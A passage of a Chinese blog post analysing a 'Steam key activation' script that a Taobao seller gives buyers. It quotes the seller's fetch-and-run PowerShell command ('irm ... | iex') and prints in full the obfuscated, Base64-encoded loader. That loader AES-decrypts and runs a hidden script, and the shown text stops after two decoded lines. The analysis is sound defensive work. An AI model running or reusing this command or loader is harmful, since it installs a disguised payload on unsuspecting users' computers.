Skip to content

淘宝商家的 Steam 游戏激活脚本分析

时间:2024-04-24

分析过程

商家以较低价格售卖 Steam 游戏 CDK,以吸引买家,在激活时会发送教程,告诉买家使用脚本激活 Steam 游戏

irm 1.steam-cdk.run|iex

脚本下载完成后,只有一行,根据特征猜测是 Base64 编码

powershell -encodedCommand "JAB3AG0AcABrAGgAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiAAoAIAAgACAAIAAkAHIAbgBzAGkAZgBvAHIAZgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgArAFUAcgByAGkAQgBOAGYAbAB6AEkAUgA1AFoAZwBaAFgAVQAzAFIAMwBRAD0APQAiACkACgAgACAAIAAgACQAdQB2AGIAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBCAG4AagB2AG4AWABnAGkAeQA5AFAARABaAGsARgBqAGUATgBTAGUAdgBpAGgAdQB5AFYARQAzAFQAbgBKAGMAUQBQADAAWQBCAEwAbwArAEsATQBVAE4AdgBCAC8AZwBoAFkAeQA2AHcAeQB2AGsAUABqAHEAUgBOAFAAdABZAE4ATwBLAGYAdABTAE0ARQBoAEQAawBnAFAAVgBCAFcAZABHAGcAZgB0AFcAdQBzAHEAYwBJAFYAVABxADMANgBJAFYAaABjAHUANABlAGoAWAB6ADUAQgA0AGQANwBrAHkAaAA0ADcAMABJAEIAawBjADEAVwBqAEcAcQAxAFgAaABFADgAdQBJAGkAagA3AEcAYgBSAHoARwBHADYAdQBTAGoAWQB6ADUAVABjAG8AeQAzAEcAZgBYAEQARgA0AGYAUwBuAE8AZQBIAE0AVwA1AFMAVABXAHMAdgBzAGcAdABxAEsAYgBuADcAegBOAHoALwBOAFgAVABUADgARABYADYAZQBlADEAcAA2AEMATABkAFcAZQBKAHcARwBXAGYAcABSAHgAWgBvAHUAMwBWAFUAZgB2AHMAVgBsAG4ARABSAFYAagBqAHEAYgA1AGkAYgBGAE0ATQBoAEgAWABlAGMAQQBNACsAWQBHADQARgBLAFAANgBLAHMAMQBhADkAMQByAE8ANABMAG8ATgA1AHQAdgBoAFUAbwBhAGEANwA3ADIAMAAzAHIAZwBpAGsAVABNAG0AUwBVAFkARwArAEQAbQBzAHAANABNAG0AZgBFAEIAUQBUAHQAYwA0AE8ATQBUAGoAWQBuAGUAeABVAEIAcwBOAEUAWAA0AFYASABHAEkAawBiAGIALwA5AHIAYwBUAGwAcQBCAFcAVQB0AEcASAArADMAYgByACsAVAB2AFMARQBBADUAUgBsAHcANgBIAEgAUQBtADcAQgByAHkAdwBYAEkAMwB5ACsARwBpADgAMwBKADgASgB1AEMAdwBCADQAdQB0AFgAeQAxAEsAVgBOADAAYgBKAE4AKwBGAHoAYgBYAC8ANQB5ADMAeAB5AGUAagBkAE8AUgBvAE8AeABCAHoASQBlAEIARQBxAEQARABIAHcAMAB5AGQAQwBSAEcAWgBZAHoAWABqAGYAOABIADAAbgBEADAATgBrAFcATABXADUAWQBQAEQAWQA3AG4ASgA2AC8AdwBWAEYAYwBkAHoAdQBGADEAWgB3AEMAVgBpAHkANwBvAHoAMgBXAGMARgBjAEsASgBoADcAVABEAHQAZAA4AGIAdwAxAEcASgBFAHEASQBxAGsAagB3AHMAUQBaAGIAdQBXAHQATwB1AFQAVwBVAFMAbQBLAEQATABtAGUAWgBxADYAeQAyAFYAWQBLAEMAdQB0AFUARAA3AFoAWQBkAG4ARQBiAGQAUQBVAE8AQwBUAGwAZwBXAGcAUQBpAEQASwBUAFAAbwBZAEUAeQB4AFoASABwADgATQA3AFQAOQBTAGoALwBUAHUANgB5AFgAMgBOADcARABvAFcAUgBKAFQAcQB6AEMASABoAFQASwBLAC8AbgBXAEoAWgBnAFQANQBvAGoAYwBmAG8AbwBQAG0AUQBrAFYASwAzAE8AYQBXAEUAUgA2ADYAYQBFAFcAeQBNAGgAUAB2AHIAMQA2AHQAMgBJADIAZwBsADIATgBRAFkANABiAFQAeABHADIAbwBEAGYAUQArAEsARgBGAGsAdwB4ADQASABZADMAdwBpAE0AcwB2AGUAbQBKADgAUwBrAFYAdAB3ADcAVAB0ADgAUwBjAHoANwB3AEMAbQBVAEYAagB3AG8ASABqAHMAMgB6ADkARQBqAFoAQQBlADcAZAAwAGoAYwBPAEEAYwBiAGwANQBJAFoAbABjADIAbwB2AHYAVABGAEQAVwB0AFYAdQBWAHoAaQBEAG8AdgA0ADIALwBEAFoASQB5AFkARwBTAFIAaQB5AHcAUAByAFEAdgA3AGQAbQBvAFAAMwBlAG8AYgBiAHkAbQBtAGgAQQBLAHEAWgAwAGMASABGAHQAbgB5AHoAVQBzADcAdgArADUAQQBzADAAWABtAEYAQQB3AE8AawBtAFUASgBPAGcAMQBLAE8ARgBrADUAVgBGAEQAcgBHAHYAWQBYAC8AcQBiADEAbABkAHYATABoADYAVgA2AGUASQB2AGoAUwB3AEwAZABzAEgASQAzAEQASABrADMAagBaAEIAMgBTAEwATQBnAHIASAAwAC8AVgBGAGgAaABOAHYAUwBnAGEAagBKAEgARQBQAGsAcABUAFYAcwBqAHAAVgAwAEEANABkAFAAeAB6ADAAVQBZAFYAcwBXAEYAeQBRAHoAYgBsACsAVwBEAHgARABtAFQAMQBZAHIAWgAvADEATgBOADEAQQBqAGoATwB1AGMAbQA0ADEATgB6AEEAawBqAFIANwBsAEYAUQBYACsARQBZACsAWQB6AFMAbQBTAC8AZgBhAHIAQgB2ADIASwBkAFgAaQBRAHAAQQBKAGkAVQAwAEYAMQByADQAawB4AHgAdwBWAE8AWgBOAEcAbQBsAGQANwB4AFQAMgBGAEwAawB4AEIAVABwACsARwBpAEUAUAA5AFgAVgBsAEwAQgBZAFEAeABDAHcAagBzAFAAWgB3AEUAOQBjAHIATQBMAEIAWABZAGkAQwBrAEgASQBlAGcARwBMAG0AawA4AFYATQBEADMAdwAzAHIAdwBzAHAAOAA4ADQAaQBuAHQAawBQAEoAcABaAFAARQBpADcARgByAG8AcABnAFMASgBIAE0AbQBMAEoAMgA3AE0AZwBpAFUAcQB2AEMARgBxAEoAWQBiAE0ARQBiAGUAUgBTAFEAYgBJAEcAYwBKAGgAbQBMAEEARwBNADYARwBHACsANQB4AFkAOABkAEgAbwB6AEwAcwBLADgANwBTAGEAOQBvADMAegBMAG4AUQBwAGYAcwB5ADUAMQBtADkAOQAxAGUAMAAyAG4ANwA4AGwAVQBhAEkAYwA5AGEAcwBUAFUAKwB2AHYATwBkAGMAYgBQAGIAYgBLAE0ARABIADAAWAA4ADkAYgAxAHgATABqAHIAUgBRAHkASwByAHQAVQBaAGUASABjAFQAdAAyAHkAagBWADkAcgBHADMAUwA0AFMAdwBpAEwAaABOAFAAbQB4AEIALwBTAEoAVQA0AHAALwBDAGYAdQBWAFYALwBzAEYAMwBuAFoAMwBnAEcAVQBjADgAawBmAGwARwBuAFYASABnADIAYgBMAGgAdABXAEIAQwBFAFAAWQBRADEAVgBPAFcAVwBtAEsAeABEAFQAawBBAFUAdAA4AGEAbwBPADgAYQBjAEkAbABoAHYAbQA0AFQANwB0AGEAOABMAFEAbQBXAC8AcQAxAGUASgB3AGkATABqADAANwBZAFEAegB5AEYAcwBMADkAWQB4AHgARgBmAHEAZABjAE0AUgBOADAAcABqAEgAUABvADUALwBSADgAZwBXAEcAbgB1AEEAcgBaAEwAUABUAFgALwA0AGMAYgB0ADAAaABtAHoANABkAEQANgB2AHMAaABSAFEAOABMAEkASQAwAHYAcgB2ACsAKwBTADYAQwAvAC8AbAAwAFYAcQAyADMAVwBuAEQASwBSADcAcwBmAGwAZAB2AEwAKwB5AGcAKwBTAFAAWQBLAEkAVABOAGkAbgBRAHQAegBXAHgASABpAHEAdgB3ACsAZwBjAHYAawBBAEoASABzAEMAMABpAHYARQBtAEoATAAvAEIAKwBHAGcARABsAGwAWABqAGwATQBWAEQATgBpAGoASgA5AHEAZgA3ADIAeABFAFAAWgBWAEYAdwBDAEQASABhAGoASwBkAFgAUgBDAG8AZwB1AHUAcQBQAHMARQB2ADcAawAxAFIASgBPAGkAegBHACsAdwBMAGYAVgB5AEoAWABsAGwASABXAHYAVQBLAFQAZgBzAGoAagA2AFcAdAB1AEoAVgAzAFkAcgBqAGYARQBSAFkAMQBXAFEAMAB6ADYAQQAzAEcAUQBkAGkASwAzAFAAUwAxAEQAQwBKAE4AUAA4AFQAdgBJAGcAUABPAGEAMAByAGkAZABLADEAcQB5AFQAMQB6AGMAMQBRADUAMgBKAEoAaQBDAHIAVgA4ADMAcQBZAHMAcQB3ADUARABEAEoAYwBPAGcAMAA0AHgASQBkAG4ANQAyADkAWABMADkANABIADkAbwBKAEQAUwBRAE0ASQB3AFMAOQBYAE8AcgA0ADQAWgBKAGwARgAvAG4ASQB6AHkATgB2AGIAWAB6AE8AVQAyAEUAVQBCAHEATQBnAHYAaQBFAGMANQA0AHEAMABFAHcAZgBDAEoAYQBpAFEATQBYAEsAYQBIAHkAOQArAGoAZABOAGkARwBJAHkAKwBQADMATAB2AHMAagBWAFgASgBlAGsANwBhAGIAdwBlAE0AUwBUAC8AaQByAHYANQBWAFkAawBXAHIANABxAE0AcQBvAEoANgBYAEUAQgA3AHUANgAvAFcAbwA4AE0AYwAwAFYAQwBGAFQANgB6ADQATQBUAE0AYQBXAEcAYwBKADgATwBSAFIAVwAxAHIAMABDAHYAdwBiAEIANABFAHAARQA5AHgANQBoAFYAZQA5AG8ANQA1AE4AVwBIAEMARAA3AHkAUwBXADcAMwBNAFUANQBFAGkAVABSAFEARQA4AHQAbQA1AHEAagB6AEwARABKADcAcgAwADkAcABaAGkARwBYAEYAegBjAEgAdgBRAFMAVgA1AHgAbgBGAE0AQwBhAG8ASgBTADkALwA2AGsAYwB5ADUAKwBSAEYAZgArAC8AeQByAE8AdgA2AGgARwBGAEoAbAB1AE8ATwBpADkASAA3AFcATwBsAFQAMABkAHoATABOAFEAeABmAHoAaQBkAGcAYQBlAFYAMQBiADkAcABZAHUAZABsAEcAdABwACsAbQBXAGkAZABTAEkAcABGAFcAQQB3AG4AbgBsAG4AeABPADcAWQBBAFoAUQBkADYAYgBnAGwALwA3AFEAKwBEAG0AUwBJAFcAZQA4AHUASABSAHcAWAA4AEsAVwAvAGoAdwBLAEcAagBOAG0AcgBGAFMAagBMAFMAWgA4AFQAcQBRAFEANQBEAEYATQBxADMAdQBWAGYAdgBlAHoASgBJADMANABDADIAcABXAEUASAAxAFkAZABFAEsAKwBxAEUAMgBMAEQAdwBIAFoATAAvADkAZAB2AFoAZgBuADkASgBYAEcATABGADYANgAwAGIAWQBNADYAawA3AEEAcABvADEAZABvAGYAUQBJAG4AdwBEAGEAdAAxAGIAdAA0AGIAMABpAFgAbAArAFQARwBrAG4ASABVAFYAMwBMAFQAUQBlADUAWgBVAGcAVQBWAHgAdwBTAC8ANgB2AGsALwAwADYAbwBRAHMATwA4AFYANQBVAFUAawBQADgAbQBxAHoANAA3ADAAVgB4AHMASAB2AEUAeQA1AEsAdABWAHMAbwBFAEEAdQBlAGcAZgBEAG0AYwBHACsAMgBZAC8AZgB4AEcAWAB6AGkARgBSAFQASQBHACsARwBRADgAcgBMACsAMgBhAFAAUQBqAFoAWAAwADYAZgA2ADcAbQAyAFgASQBOAGcAaQBMAGoAKwBOADMAZQBaAEkAKwA1AGEAaQB3AHUAdwArAEUAVABsAGYAKwBYAGUAMAByAFAAZABaAGEAOQBlAGsAcgBwAFAAdwBFAHcAaABMAHAAdQBNADcAYwArAEQARAB4AFAAdQBrAE8AWgBiAGEAZQBIAFYAagBvADIALwBLAHgAbAAvAEYAWABMAGUANgAyAHIAKwAyAHMAcwBUAFkAbAB0ADUAOAB2AHcAbgBvAHIAUwArAHAAMABzAEMAcgBlAGIAZABOAGEAQgBKAEwATAA4AE8AWgBEAGwANwBuAGMATgBCAG8AWgB0AHEATABhAG0AbwB4AFEARQBuADAANwBGADIAMgBHAHkAeABOAGcAUABsAGEATQA2AGsAZAA1ADAAdQBRAEUAegB1ADAAbQBHAEkAeAB6AEYAbQA3AGEAWABmAFIAWgBwAC8AUgArAGQAbgBGAEIAQQBpAG8AVQBnAFYAZgBhAC8AVgBMAEYAbABRAEsAOQBmAE4AVQBSAEQAdgBGAEQAcQBCADQAVwBIAEQAOQA5AFAAWgB0AGkASABvAEEAYQBUAFoAVgBPAG4AZABPAHIARgBoAGkANQBIADcAegBjAEEAegArAEYAbwBrAHkAeQBVADMAVgAwAFgAUQBhAE4AagA5AGUANABsADEAUwBJAEMAUwBiAFUAcgBzAEsAcwBSAFcAVwB0AHoATABCACsAdABoAE0ARABFADcANgByAGgASAA4AEsATABhAFoALwBaAG4AZABDADcASAB4AEsARQBkAFcARgBHAEsAeQBNAGUAdABsAGgAcABsAEsAZgAyAG0AagA1AEMAZABxAE8AWQBIAFkANwBMAE4ARwBzAGoARgBBADQAbwAvAGEATwBvAEsALwAzAHgATABGAGYANwBEADIAawBxACsARABvAEQAVwBrAGMARgB4AHEAUgBqAEQAZgBJAGIARABWAC8ARgBPAEUATQBoAFEAZgByAFgATQBlAFYATgBtADAAdgBuADAAYgArAHUAZgBjAFQAWABRAHMAYQBsAE0AZgBCAHMATABjAGkARQBsAHQAZAAxADMAQQBQAGUASgBFAFUAOQBiADIARABTAHoAbwBoADkAOAByAHoAYgBKAEEAcQB5ADkAWQBjAFAASwAwAFcARQBPADkAVgBLADgAMQBmADYAbgByAG8AdgBCAHQAbwBCAHkALwB0AEcAbQBWAEoAUwBLAGcATwBYACsAbQBhAGQAVgArAEsATQBWADEARwBlAEYAVgB6AFQARwBYAEkALwBQAHcAUQAwAFQAYQBzAEoAaABlAHUATQBwADcAVgBlADAAMwBpADcAUQBWAEgAcwA1ADYAMgBuAHQANABnAEYAcABGAGIASgAvAGcARgAyAHEAUgBwAHkAbwBtAEUAdABkADAAVQBsAFQAaABxADkAWgBhAHcAZgB3AFcAbABYAEMAbQBTAGcARABQADEATQBuAGgARABhAFkAUABQAGsAMwBKAFcAYQBHAFkAQQBLAFkAUwBKAFEAbQBOAEQAdwBiAGsAVABJADUAOABPAG0AUABUAFUANwB1AGMAdgBNAHQAUwBGAHEAcAB4AHYAeABPAGMAWABtAE0AWgBuAHoAYwBnAHEAMgBTAEwAOAA2ADAAbQB3AE0AcABZAHcAOAA2AHMAawA0AG0AdgBlAEUAcgBZAGsAVwBDAC8AWABHAGEASQBhAG8AaAAwADEAVABmAE8AeABQAGgAVABXAHQAZQBDAHgAcgB3AEIAYQB5AC8AegBXAGIANAA2AE4ASwA3AE4ASAB4AHQAdQBVADkANQBqAGEAOAByAFYAQwBlAFcAUgAxAGEANQA3AEEAZgBqADkANAAxAGUAUQBNAHQAVwA2AEsASwBSAHIAegB6AGUANABXAFcANQB1ADMAbAB2AGEAbQBKAFgAegBMAGYATwBBAEoAMQBhAE0ARQB1ACsAdgBiAE4ATAA4AHQAVABNADkAKwAvADUAUABpAGsARgBnAGoAcQAwAG8AbgA3AFoANQBkAEQAZQB6AHIAdgBXAEMAegA4AFYAbAB5ADYASwBXAEMAYwBhAGkASQB0ADMAUQAyAHkATQByADQAYQA1AHYAOAAxAEUAaQBvAHgAUwBwAFAAcAA3AHMAUwBXAEEAWABYAEkASQBRADAATgBGAGYAcwAzAGYAbQBUAEkANAB6ADYAdgBLAC8AVQBhAE4AWgA3AEUANwBaAHUAYQBUAEsAWQAxAG4AYwBFADcAVQB0AGUAaAB0AGEARQBqAHoAQwBiAHIAWgBBADcAaQBtAHkAagBoADcAUQBiAHcAZQB6AEgAagBrAFYAcQBCAEIAaAA0AEUAbAB1AHoASQA4AGgAbQBKAHUASgBPAHAATgBGAE8AZgBrAEEAQwBNAFYAUwB2AHYAMAA5AGwATwBmADMATwBpAGwATQBCAEYAOQBlAFkAdAB1AGUAdQAyAHgAVwBtAGMAdABEADMASwB2AGQAMgBoAEsAdgBPAFMAKwB0AFIAVABGAEcAbwAzAGYAWABRAGsASgBKAG8AdwBIAEMAWQBxADgAOQBOAFoARABVAFIAVABHAHYAbAByAGsAVABjAEYAUgBVAEoAZABNAEIAVgAxAG8AQwBoAEwAdABRAGcAUwBJAFUAdwBZAFYAWABvAEoAYQBxAE0AdwBYAGIASwBqAHgAKwBhADMAawA5AGMAZwBQADEAMwBMADIANwArAEkAWgA5AE8ARgB1AFYASQBoAFMAeAB4ACsAdABRAGIASgBmAEoAVABJAEIATQB2AE8ASgA4AGMAdABiAHcAeQBlAGUAKwBvAGgAUAB0AFEANQBnAEwAQQBvAGsARgAvAGUAOQBqAFkAcgBoAGoAZQBnAGcAWgBuADQAaQBXAHUAOABFAGYAMABGAEsASgBqADQANgBEAHgAWgBRAHYAKwBxAFcANAArAGYARwBxAHgANgBBAEcAYwBoADYAdgBvAGMAaABYAEgAawA0AEMAeQBRAGcASgArADIAWAA4AEUATABBAFAAQQBrADYAQQAyAGsAagBzAEMAUwBHAGgAcAB2ADAAeAB5AHcARwBPAG4ASQBpAHgAeQA2AFkALwBWAGEATgBJAFgAUwBFAFEAMQB0AG4AegBYAGwAMQArAHMAVgBoAGYASQBXAEwAYQAxADIAcgBCAGUAVwBMAFMASABVAGMAUABIAGEARwBiAC8AdAA4AE4AegBSAC8AYwBlAGgAdQAwADAAVgBEADEAOABFAFoAcgBiAGcAYQBTADIATwB3AEgAWABtAE8AQgAyAG8AdABhAGMAawAyADMASwAxAGsAagBCAEQAOAB1ACsAcwB3ADcAUwBoAHYAcAA2AHIAeABYAG4ARQBRADcAegBnAFIAdgB5AFMATgBtAHgARAB5AGgAZgBSAEIARABsAEIAcQAwAEwAdgBxAHAASgBwAGoAagBJAEUAVQBBAEwAOQBQAHcAaABZAEMAdwBKADEAMQBzAEoAMQAxADcASgAzAEwATAAyADkAeAA2AFEAbwBiAG4AYQA2AC8ASgBnAFoAdgBCAEEAMABMAFQATAA4AEwANABpAE0AOABwAG8AcQA1ADAAegA4ADIATgBlAEUAMwB6AEsAaQBrAE4AcgBqAFEAdwAzAGYAUwA2AHgAMgA4AGMAdQBIAG0ASwBiAG0AWAB6AC8AaQBKAE4ARgBGADQAegBkAEoAWABnAEIANQBvADEAeQAyAGUAZQBOAG0AWQBjAGwAOABNAEIAUwBFAGQAbwBBAFYAMwBmAGcAYwAvAG8AawBrAE8ATQAwAFgAdAAzADEAMQBEADEATwBWAE4AYgA5ADEAZAB5AEQAMwBNAFMAMwBIAEgAUQBrAFUAbwBMAGMAUwBSAEIAUAByAEQATQBKAHQAVQBSADkAOABWAEYAMQBWAEoAYQBFAG8ARQAzADQAQgBaACsAQgBvAHoAMgBuAFEAOQBvAFEATwBRADcAWgB6ACsAQgBWAGkATQBkAEEAKwAvAFYATgBVAFMAbwA4AEQAdQBUAGwANgBmAGkAQQA5AE8AWgBCAGwAcgBtAGcAVwBLAHQAYwBpAGEARABDAGMASQBGADMASABPAGcAeQBzAGIAdABnAGsAYQBqAEUATQBJAEIAYwBkADAAYQBGAG4ATgBkAEwAWQAxAEUAawA4AHQAUwB5AE4AUQBuAEoANQBGAGIAaQBpAFIATwBRAHUAMgBUAEkAcwBCAFoASwBTAFEAegBIAEcAMwA3ADMAVABLADAAVAB3AGIARgBFAHYAaAAyADQATgBoAFEAVgBaAHkAUwBBAGMAYQBOAEsASgBGAEwAOQB6AGUANQAxAFoAKwBoAFIAWQBMAGcAbAAxAFIASgAxADIAUwBjAEkANABhAEsAYwB6AGIAcgBrADkASwB6AG4ATwBsAE0ASQA0AHQAegBXAGMAYQAvAEsANQBsAHMANwBUAEcAeQBzAFIAbAByAEkARQBtAGsATwBhAG4AeAA4AHcAOABZAEcAQQBwAGEARQBhAFAATgAxADQAWAA3AG4ANgBIAFcAUQA0AGIAcgB2AFoAOABnAHQAOABZAHgAKwBmAHEATgBZAG4AdQAzAGkAYgB0AG0AcgBqAGMAVQAxAG0AVwBLAHIAVgBBAEEAMwBaAFoAawBuAHAAMQBpADYATgBCAGwAMgBtAEQAcgA5AGMAMQA5AFYAZABPAGgAQwBkAEcAWAB5AGsAYgB2AFAAdABQAEMASwBMAG8AbABsAG8AawB6AEUAYwA2ADgAdQBiAGMASQB5AEoAKwBFAHYAUwBBAEwAMgAxAEsAdwB2AEUAVQBBAGQATgBrAHUAbQBWAFIAUgBEAGgAcgA3AHMAeABnAFMAZQBaAG8ALwBwAG0AegBEAEkAVgBwAHEATQA2ADQAbgAzAHgAaQBzAEcAbgBRAEUAWQAvAHgAMQBPAHoAWgA3AFMAYwBaAEsARwB3AFUANQBYADAAVAB3AGsAKwBvAFQAZwBlADgANQB2AFQAWABzAHIAWQB4AHQAWQBtAFIAQgA1AHYAZwB5AGsAOAAwAFcANABSAEUAQQBSAHgAYgBFAFQATwBZAGYAVwA4AHQAYwA0AGgAVwBZAEIALwB2AEgARABzAHAAMQBwAFUAaQA4AGMARQBOAE4AVgBDAGsAdwBTADEAMAA2AFUARQArAGQAKwBYAFgARQA0ADQAdgB4AHoARQBzAEgATABiADUALwBXADMAWgBGAHkAUQBOAGsANwBDAFMAagBPAHEANwA5AFgAbQBwADAAawBsAFUAcQB0ADcARgBGAHoAYgBYAEsAUwA5AGMAagBMAFQASQBTAHAARgBhAEUASwB3ADYAcQBPAHIAVQBOAHoAeQBrADAAMQBxAHYAegA0AGcAWABwAFAAaAAzADQAMgArAEcAagA1AFQAVQBFADAAVQBzAHgAVwBRAEkAeQA4ADQAcABvAHQAWgBzADQANwBjAGYATQB3AEcAQgBnAHIAVwBZADMAegArAFgAQgBkAFEATQBzAEoATQAzAGUAagA1AGoAZwBVAEcAYQBLAHAANABXAFEANQBEAEQAdgBZADQAOABKAHAAUQByADIAQgA3AEUASAArAEwAQwBUAEUAZABDADUAZgBpADUAVQAzAC8AaABMAHMAagBYAFQAZABsADUAeAB0ADkARQBNAG4AQQBHAGcAVABxAFoATwBNAEwASwBmAFoANgBDAFAAbwA0AGEANwBXADMARAArAHQALwBGAEcAUgBzADgAVgB6AE8AYwB4ADYATgA4AG0AagBTAFEAcABqAGIAdABtAC8ALwBqAFQALwBTADUASQBhAGgARwBQAGsATwBTAHMAbQBXAHAAYQBTAHkARgBpACsAcwBJAE0AQQBvADYAKwA4AHMAZQBUADIAWQBjAGUAdwBvAFMAMwBaAG8AUgAwAHYAcABrAFEAbgBUAEgAWgBOAHcAUwBxAFIAUABtAHoAOAAxAFYARgBKAHcAdwByADEARQBnAHAARQAxAEEAKwBlAHIAOABHAEcAOQAyAHYATwAwADAANQBRAE0ASABLAGQARwBVAEIAZQA3AGsANwBVADMAeAAyAEMASwBPADEAQgBZAFoAVgBhAEUATgAzAEgAVQB6AEIATABWAG8AOABsAGUAMgBKAFYAcABQAG8AcQA3AHAAVgBjAFIAYwBoAG8ATgBFAHgAZQBRAEoAVABmAFgAUABRAFYAWABvAHcAdgBLADMAbwB5AGEAMQBoAFkARgBGAFYATgB3ADYAVgBkAFgAQwBoAHcAUgBLAHMAUgBXAFMARQBUAGUARgAxAGgAeQBSAGQAOAA5AFIARQBkAGIAawAwAFgAbABIAGkARQBlAEkAOABmAEwAQwBUAFoAegBCADQAMwBXAGsANwAyAE8AMAB5AEwAZQB6AGQAWAB4AE8AcwB0AHkAMwBSAFUASQBqAFcAcAAzAHAAYQBxAG4ATgByADkAcwA1AHMANgBYAG4AMgBJAGkARgBkAFUAdwBwAFEAWgByAHQAVgBEAEsARgA1AFMAUQBDAHYAdQA4AEQATwBOAFkAVwA3ADAAVwBzAFUAZABUAGYAWABJAHMAYQBNAGwANQB6AFQAQwBaAGMATwAzAHMANQA2AGoAbABnAFIAOQBJAHkAYwBXAEgARgAyAEIAMABBAEEARgA2AGQAVgBoAGUAaQBSAEEAdQAwAGsAVQByAFgAdwBjAHMAdAAwAFQATAAyAE4AQQBNAFUAagA2AG4AMQBKAHoAQwBkAHcAOABZAGcAUgA2AHQAbQBjAFkARABJADgANgBzAGcAcwByAE4AVABBAGIANgAzAGoAagBpAEUAOABWAFoAegBFADMAMQB2AC8AVQBzAHUASwByAEUASgBkAHAASgBDADYAcgBoAEEAOABqADMAbABUAHUAYwBOAGQAVgBuAHEAaAA1AHcAOQBGAGMAaQBWAFAANQAxAGcATgB5AHIAWABEAFcAUQA5AHYAYgBQACsAQQBMAHEAcwB0AFEAcABhAE8AcQBWAEQAUgBmAEUAaAAzAHEAVgBsAHMAbgAwAE4AYgBqADUAVQBKAG0AOABmAE0AQwAwADIAcgByADAARwBMAGwAUABBAFIAZABSAGsAYwBXAFgAQQBJAHIAMgBlAFcAbABpADAAVgBmAFEANgAyAEIAMABqAEUAdwA5AEUAQQBjAGcAOQBqAGYAUgByAGYARgBGAEcAeQA1AHMATABpAGgANQBGADEAMABSACsARgBYAHgAdQBvAGEAVABwADMAVABaAEQAbQBBAFgAYwBiAEIAVQA0AGwARQBLAGUAaABiAHgATgBtAGIATQAwAEMAaQBWAHEANwBBAEQAVQBlAFIAIgApAAoAIAAgACAAIAAkAHcAbQBwAGsAaABzAC4ASwBlAHkAUwBpAHoAZQAgAD0AIAAxADIAOAAKACAAIAAgACAAJAB3AG0AcABrAGgAcwAuAEsAZQB5ACAAPQAgACQAcgBuAHMAaQBmAG8AcgBmAAoAIAAgACAAIAAkAHcAbQBwAGsAaABzAC4AUABhAGQAZABpAG4AZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAWgBlAHIAbwBzAAoAIAAgACAAIAAkAHcAbQBwAGsAaABzAC4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAHcAbQBwAGsAaABzAC4AQgBsAG8AYwBrAFMAaQB6AGUAIAA9ACAAMQAyADgACgAgACAAIAAgACQAdwBtAHAAawBoAHMALgBJAFYAIAA9ACAAJAB1AHYAYgB0AFsAMAAuAC4AMQA1AF0ACgAgACAAIAAgACQAeAB4AHIAaABhACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAAoAIAAgACAAIAAkAGcAawBmAHEAZQB5AHMAZQB3ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHcAbQBwAGsAaABzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAdQB2AGIAdAAsADEANgAsACQAdQB2AGIAdAAuAEwAZQBuAGcAdABoAC0AMQA2ACkAKQAKACAAIAAgACAAJABiAHQAcgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGcAawBmAHEAZQB5AHMAZQB3ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApAAoAIAAgACAAIAAkAGIAdAByAGcALgBDAG8AcAB5AFQAbwAoACQAeAB4AHIAaABhACkACgAgACAAIAAgACQAdwBtAHAAawBoAHMALgBEAGkAcwBwAG8AcwBlACgAKQAKACAAIAAgACAAJABuAHYAbwBiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAeAB4AHIAaABhAC4AVABvAEEAcgByAGEAeQAoACkAKQAKACAAIAAgACAAJABiAHQAcgBnAC4AQwBsAG8AcwBlACgAKQAKACAAIAAgACAAJABnAGsAZgBxAGUAeQBzAGUAdwAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAoACQAbgB2AG8AYgApAA=="

使用Bas64 解码,得到脚本

$wmpkhs = New-Object "System.Security.Cryptography.AesManaged"
$rnsiforf = [System.Convert]::FromBase64String("+UrriBNflzIR5ZgZXU3R3Q==")
